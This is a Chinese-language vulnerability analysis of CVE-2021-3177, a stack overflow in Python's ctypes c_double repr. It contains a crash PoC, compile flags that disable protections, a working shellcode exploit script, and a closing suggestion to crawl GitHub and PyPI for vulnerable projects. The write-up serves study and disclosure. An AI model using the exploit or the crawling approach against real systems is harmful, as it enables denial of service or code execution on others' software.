CVE-2021-3177 Python RCE

https://nvd.nist.gov/vuln/detail/CVE-2021-3177

https://bugs.python.org/issue42938

https://www.randori.com/cve-2021-3177-vulnerability-analysis/

TL;DR

漏洞成因:sprintf格式化%f造成的栈上缓冲区溢出

sprintf(buffer, "<cparam '%c' (%f)>",self->tag, self->value.d);

这是个品相并不好的洞,在默认开启漏洞缓解机制的情况下几乎不能RCE,只能影响服务可用性

Compile

这个问题涉及的版本很广,2021年1月18号以前的版本普遍存在

这里选择的tag: cpython-3.10.0a4

关于Python的编译和源码调试可以参考

https://xz.aliyun.com/t/7828

PoC

漏洞发生的原理是sprintf时buffer固定但是格式化%f时可以生成一个较长的数字字符串,从而产生溢出,这里有精度部分可以覆写到返回地址

from ctypes import *
x = c_double.from_param(1e300)
print(x)

直接运行,发生了abort

*** buffer overflow detected ***: terminated       Program received signal SIGABRT, Aborted.

栈溢出被fority保护检测到了,随后abort

Require

造成RCE需要的条件

  • 从远程端传递一个不受信任的浮点数到ctypes.c_double.from_param (注意:Python浮点数不受影响)
  • 将该对象传递给repr()(例如通过日志记录)
  • 使浮点数成为有效的机器代码。
  • 让缓冲区溢出在正确的位置覆盖堆栈,让代码得到执行

ctypes如果在一些网络库中被依赖使用时,则很有可能被利用造成DoS,在一些平台未开启Fority、Canary保护的Python版本(更可能是IoT设备)中存在RCE风险

Exploit

编译没有保护的版本

./configure OPT="-O0" CFLAGS="-m32 -fno-stack-protector -fno-pie -fno-pic" LDFLAGS="-m32"

格式化%f只能产生ascii码'0'~‘9’之间的值,也就是0x30-0x39,因此rip/eip也只能劫持到形如[0-9]+的地址上去

因此需要利用mmap在相应的低位地址上提前布置好shellcode

打印c_double对象触发溢出时执行任意shellcode

利用脚本

from ctypes import (c_double, c_int, CDLL, memmove, create_string_buffer,
                    addressof)
 
###########
# contrived setup, map executable memory with shellcode exactly where we want 
# to jump (an attacker would have to set this up somehow)
libc = CDLL(None)
syscall = libc.syscall
NR_mmap = 192
target_address = 0x34333231
# mmap, 1 page, rwx, anonymous|private, no file, no offset
syscall(NR_mmap, target_address, 0x1000, 7, 0x21, -1, 0)
shellcode = create_string_buffer(
    b'h\x01\x01\x01\x01\x814$/\x0b\x01\x01hherehwas hori hRand\x89\xe1j\x01[j'
    b'\x13Zj\x04X\xcd\x80', 45)
memmove(target_address, addressof(shellcode), 45)
#
############
 
# trigger the bug
# this will jump to address 0x34333231 (ascii '4321') where the attacker's shell code
# is waiting, and will print out "Randori was here."
print(c_double.from_param(709677e300))
 
# if nothing happened, this should print, however, triggering the bug
# will print an alternate message!
print("all done! no problem.")

具体的应用场景可以在GitHub或Pypi仓库批量爬取导入了c_double和web框架的项目,如果一个c_double来自表单并被repr了,那么就在漏洞影响范围内